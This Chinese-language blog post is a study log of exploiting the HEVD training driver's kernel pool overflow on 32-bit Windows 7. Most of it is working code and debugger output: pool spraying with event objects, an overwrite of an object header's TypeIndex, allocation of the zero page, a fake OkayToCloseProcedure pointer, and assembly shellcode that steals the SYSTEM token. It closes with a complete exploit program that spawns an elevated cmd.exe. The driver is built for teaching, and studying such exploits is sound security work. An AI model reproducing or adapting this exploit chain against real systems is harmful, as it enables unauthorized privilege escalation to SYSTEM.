0x00:前言
昨天閱讀了內核池的一些原理,與Linux堆還是有很多相似的。今天繼續調試HEVD中池溢出攻擊。參考的原文:
0x01:漏洞原理
漏洞源碼:
NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
PVOID KernelBuffer = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try {
DbgPrint("[+] Allocating Pool chunk\n");
// Allocate Pool chunk
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
if (!KernelBuffer) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Pool Overflow\n");
// Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
if (KernelBuffer) {
DbgPrint("[+] Freeing Pool chunk\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
// Free the allocated Pool chunk
ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
KernelBuffer = NULL;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
對比安全和不安全的版本,與棧溢出類似,都是在將用戶傳過來的數據拷貝進入內核緩衝區時,以用戶傳入的Size作爲數據大小,這樣就會造成溢出。因爲這裏的緩衝區是內核池,所以爲池溢出。
0x02:漏洞分析
首先使用正常大小的塊填充,再free池的代碼調用前下斷點觀察。
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
int main()
{
DWORD bReturn = 0;
char buf[0x1F8];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
RtlFillMemory(buf, 0X1F8, 0x41);
DeviceIoControl(hDevice, 0x22200f, buf, 0X1F8, NULL, 0, &bReturn, NULL);
return 0;
}
這裏可以看到,只要我們再多輸入一點內容,就會覆蓋下一個塊的POOL_HEAD,如果胡亂輸入,則一定會破壞下一個塊。但如果合理利用,則可完成任意代碼的執行。首先先不說漏洞利用的機制,先根據上一節的內容,繼續使用內存池噴射技術,將我們想要利用的塊放到我們期望的位置。
池噴射
回顧UAF中內核池噴射中,使用了 IoCompletionReserve對象噴射了非分頁內存池,但是它的對象大小爲0x60,這裏我們需要申請的塊大小爲0x200,所以不符合。但是幸運的是,事件對象的尺寸是0x40,乘上8就是0x200。因此我們可以大量創建事件對象,然後在其中連續釋放相鄰的8個事件對象即可空出一塊0x200大小的空間。這裏首先創建10000個時間對象用來填充非分頁內存池的碎片,然後創建5000個對象用於完成我們可預測的分配。在這5000個對象中,每隔16個對象便釋放8個對象創建0x200大小的可利用空間。利用代碼如下:
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
//非分頁內存的池噴射
HANDLE EventObjectArrayA[10000];
HANDLE EventObjectArrayB[5000];
VOID SprayNonPagedPoolWithEventObjects() {
UINT32 i = 0;
for (i = 0; i < 10000; i++) {
EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!EventObjectArrayA[i]) {
printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
for (i = 0; i < 5000; i++) {
EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!EventObjectArrayB[i]) {
printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
//在噴射池中釋放可預測的空間
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
UINT32 i = 0;
UINT32 j = 0;
for (i = 0; i < 5000; i += 16) {
for (j = 0; j < 8; j++) {
if (!CloseHandle(EventObjectArrayB[i + j])) {
printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
}
int main()
{
DWORD bReturn = 0;
char buf[0x1f8];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
RtlFillMemory(buf, 0x1f8, 0x41);
SprayNonPagedPoolWithEventObjects();
CreateHolesInNonPagedPoolByCoalescingEventObjects();
DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8, NULL, 0, &bReturn, NULL);
return 0;
}
再次執行,在斷點處斷下,可以看到我們申請的塊被8個Event對象包裹着。這說明我們成功的將塊在可預測的空間申請到了。
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8721BD88
[+] UserBuffer: 0x0028FCB8
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x8721BD88
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
[+] Freeing Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x8721BD88
Breakpoint 0 hit
8e2e2239 ff1510002e8e call dword ptr ds:[8E2E0010h]
kd> !pool 0x8721BD88
Pool page 8721bd88 region is Nonpaged pool
8721b000 size: 40 previous size: 0 (Allocated) Even (Protected)
8721b040 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b080 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b0c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b100 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b140 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b180 size: 200 previous size: 40 (Free) Even
8721b380 size: 40 previous size: 200 (Allocated) Even (Protected)
8721b3c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b400 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b440 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b480 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b4c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b500 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b540 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b580 size: c0 previous size: 40 (Free) Even
8721b640 size: 140 previous size: c0 (Allocated) Io Process: 8743e030
8721b780 size: 40 previous size: 140 (Allocated) Even (Protected)
8721b7c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b800 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b840 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b880 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b8c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b900 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b940 size: 40 previous size: 40 (Allocated) Even (Protected)
8721b980 size: c0 previous size: 40 (Free) Even
8721ba40 size: 140 previous size: c0 (Free ) Io Process: 8743e030
8721bb80 size: 40 previous size: 140 (Allocated) Even (Protected)
8721bbc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bc00 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bc40 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bc80 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bcc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bd00 size: 40 previous size: 40 (Allocated) Even (Protected)
8721bd40 size: 40 previous size: 40 (Allocated) Even (Protected)
*8721bd80 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
8721bf80 size: 40 previous size: 200 (Allocated) Even (Protected)
8721bfc0 size: 40 previous size: 40 (Allocated) Even (Protected)
接下來查看三個數據結構,這三個數據結構緊鄰着我們輸入的數據末尾,是屬於下一個塊的數據結構。
kd> dt nt!_POOL_HEADER 8721bf80
+0x000 PreviousSize : 0y001000000 (0x40)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4080040
+0x004 PoolTag : 0xee657645
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 8721bf80+8
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
kd> dt nt!_OBJECT_HEADER 8721bf80+8+10
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x87bb7d80 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x87bb7d80 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
kd> dd 8721bf80
8721bf80 04080040 ee657645 00000000 00000040
8721bf90 00000000 00000000 00000001 00000001
8721bfa0 00000000 0008000c 87bb7d80 00000000
8721bfb0 00040001 00000000 8721bfb8 8721bfb8
這三個數據結構都可以在塊裏找到對應的數據。無論我們怎樣溢出,這0x40個數據對應的這個三個數據結構,都不應該被破壞,但是可以修改其相應的值。接下來我們看如何利用該漏洞。
重要的數據結構
注意到 OBJECT_HEADER 數據結構裏的 TypeIndex值。該值是一個指針數組的偏移量,它描述了該塊的對象類型
進行驗證查看
kd> dt nt!_OBJECT_TYPE Name 857dabc0
+0x008 Name : _UNICODE_STRING "Event"
該地址即對象指針的地址,我們進一步查看。同時,我們注意到上一步中, ObTypeIndexType 表中的第一項爲空指針,第0XC+1項爲我們當前查看的指針對象。
kd> dt nt!_OBJECT_TYPE 857dabc0
+0x000 TypeList : _LIST_ENTRY [ 0x857dabc0 - 0x857dabc0 ]
+0x008 Name : _UNICODE_STRING "Event"
+0x010 DefaultObject : (null)
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0x3de6
+0x01c TotalNumberOfHandles : 0x3e3c
+0x020 HighWaterNumberOfObjects : 0x47ae
+0x024 HighWaterNumberOfHandles : 0x4804
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x6e657645
+0x080 CallbackList : _LIST_ENTRY [ 0x857dac40 - 0x857dac40 ]
注意到TypeInfo這一項
kd> dx -id 0,0,ffffffff87db9030 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff857dabe8))
(*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff857dabe8)) [Type: _OBJECT_TYPE_INITIALIZER]
[+0x000] Length : 0x50 [Type: unsigned short]
[+0x002] ObjectTypeFlags : 0x0 [Type: unsigned char]
[+0x002 ( 0: 0)] CaseInsensitive : 0x0 [Type: unsigned char]
[+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]
[+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]
[+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]
[+0x002 ( 4: 4)] MaintainHandleCount : 0x0 [Type: unsigned char]
[+0x002 ( 5: 5)] MaintainTypeList : 0x0 [Type: unsigned char]
[+0x002 ( 6: 6)] SupportsObjectCallbacks : 0x0 [Type: unsigned char]
[+0x004] ObjectTypeCode : 0x2 [Type: unsigned long]
[+0x008] InvalidAttributes : 0x100 [Type: unsigned long]
[+0x00c] GenericMapping [Type: _GENERIC_MAPPING]
[+0x01c] ValidAccessMask : 0x1f0003 [Type: unsigned long]
[+0x020] RetainAccess : 0x0 [Type: unsigned long]
[+0x024] PoolType : NonPagedPool (0) [Type: _POOL_TYPE]
[+0x028] DefaultPagedPoolCharge : 0x0 [Type: unsigned long]
[+0x02c] DefaultNonPagedPoolCharge : 0x40 [Type: unsigned long]
[+0x030] DumpProcedure : 0x0 [Type: void (*)(void *,_OBJECT_DUMP_CONTROL *)]
[+0x034] OpenProcedure : 0x0 [Type: long (*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
[+0x038] CloseProcedure : 0x0 [Type: void (*)(_EPROCESS *,void *,unsigned long,unsigned long)]
[+0x03c] DeleteProcedure : 0x0 [Type: void (*)(void *)]
[+0x040] ParseProcedure : 0x0 [Type: long (*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]
[+0x044] SecurityProcedure : 0x8406f5b6 [Type: long (*)(void *,_SECURITY_OPERATION_CODE,unsigned long *,void *,unsigned long *,void * *,_POOL_TYPE,_GENERIC_MAPPING *,char)]
[+0x048] QueryNameProcedure : 0x0 [Type: long (*)(void *,unsigned char,_OBJECT_NAME_INFORMATION *,unsigned long,unsigned long *,char)]
[+0x04c] OkayToCloseProcedure : 0x0 [Type: unsigned char (*)(_EPROCESS *,void *,void *,char)]
kd> dt nt!_OBJECT_TYPE 857dabc0
重要的部分就是"OkayToCloseProcedure"的偏移,位於TypeInfo的0x4C處。如果,當對象句柄被釋放且塊也被釋放,該值不爲空,內核會跳轉到該地址來執行。也可以使用該結構的其他成員,比如"DeleteProcedure"。問題在於我們要如何利用它?記住池塊本身包含了TypeIndex值(0xC),如果我們溢出該塊並將該值修改爲0x0的話,對象就會嘗試在進程的零頁上查找OBJECT_TYPE結構體。我們使用的環境是Win7,可以分配一個零頁並創建一個僞造的"OkayToCloseProcedure"指針指向我們的shellcode。在釋放了被污染的塊時,內核就應該會執行到我們的代碼了!
0x03:漏洞利用
首先弄清楚,我們覆蓋的是0x200塊後的0x40大小的Event對象。所以我們可以按照它的數據結構頭進行精準複製,僅僅只改它的TypeIndex值大小。對比之前的數據,僅僅將0xC改爲0X0。
以下爲代碼
int main()
{
DWORD bReturn = 0;
char buf[0x1f8+40];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
RtlFillMemory(buf, 0x1f8, 0x41);
PVOID Memory = (PVOID)((ULONG)buf + (ULONG)0x1F8);
*(PULONG)Memory =(ULONG)0x04080040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0xee657645;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00080000;
SprayNonPagedPoolWithEventObjects();
CreateHolesInNonPagedPoolByCoalescingEventObjects();
DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8+40, NULL, 0, &bReturn, NULL);
return 0;
}
驗證一下,發現TypeIndex被覆蓋爲0,其餘值不變。說明我們這裏覆蓋正確。
kd> dt nt!_OBJECT_HEADER 871b7f40+8+10
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0 ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x87bb7d80 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x87bb7d80 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
接下來,我們就申請0頁內存,在0頁處,精心構造一個僞造的"OkayToCloseProcedure"指針。
//申請0頁內存
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}
printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x60) = (DWORD)&ShellCode;
執行後即可完成提權!
完整代碼附上
#include<stdio.h>
#include<Windows.h>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define Null_Pointer_Dereference 0x22202b
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
HANDLE hDevice = NULL;
__declspec(naked) VOID ShellCode()
{
_asm
{
nop
pushad
mov eax, fs: [124h] // 找到當前線程的_KTHREAD結構
mov eax, [eax + 0x50] // 找到_EPROCESS結構
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// 循環是爲了獲取system的_EPROCESS
find_sys_pid :
mov eax, [eax + 0xb8] // 找到進程活動鏈表
sub eax, 0xb8 // 鏈表遍歷
cmp[eax + 0xb4], edx // 根據PID判斷是否爲SYSTEM
jnz find_sys_pid
// 替換Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
ret
}
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
//非分頁內存的池噴射
HANDLE EventObjectArrayA[10000];
HANDLE EventObjectArrayB[5000];
VOID SprayNonPagedPoolWithEventObjects() {
UINT32 i = 0;
for (i = 0; i < 10000; i++) {
EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!EventObjectArrayA[i]) {
printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
for (i = 0; i < 5000; i++) {
EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!EventObjectArrayB[i]) {
printf("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
//在噴射池中釋放可預測的空間
VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
UINT32 i = 0;
UINT32 j = 0;
for (i = 0; i < 5000; i += 16) {
for (j = 0; j < 8; j++) {
if (!CloseHandle(EventObjectArrayB[i + j])) {
printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
}
//釋放對象
VOID FreeEventObjects() {
UINT32 i = 0;
UINT32 j = 0;
for (i = 0; i < 10000; i++) {
if (!CloseHandle(EventObjectArrayA[i])) {
printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
for (i = 8; i < 5000; i += 16) {
for (j = 0; j < 8; j++) {
if (!CloseHandle(EventObjectArrayB[i + j])) {
printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
}
}
}
int main()
{
DWORD bReturn = 0;
char buf[0x1f8+40];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
RtlFillMemory(buf, 0x1f8, 0x41);
PVOID Memory = (PVOID)((ULONG)buf + (ULONG)0x1F8);
*(PULONG)Memory =(ULONG)0x04080040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0xee657645;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000040;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000001;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00000000;
Memory = (PVOID)((ULONG)Memory + 0x4);
*(PULONG)Memory = (ULONG)0x00080000;
SprayNonPagedPoolWithEventObjects();
CreateHolesInNonPagedPoolByCoalescingEventObjects();
//申請0頁內存
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}
printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x60) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x22200f, buf, 0x1f8+40, NULL, 0, &bReturn, NULL);
FreeEventObjects();
CreateCmd();
return 0;
}
明日計劃
繼續學習內核漏洞相關知識。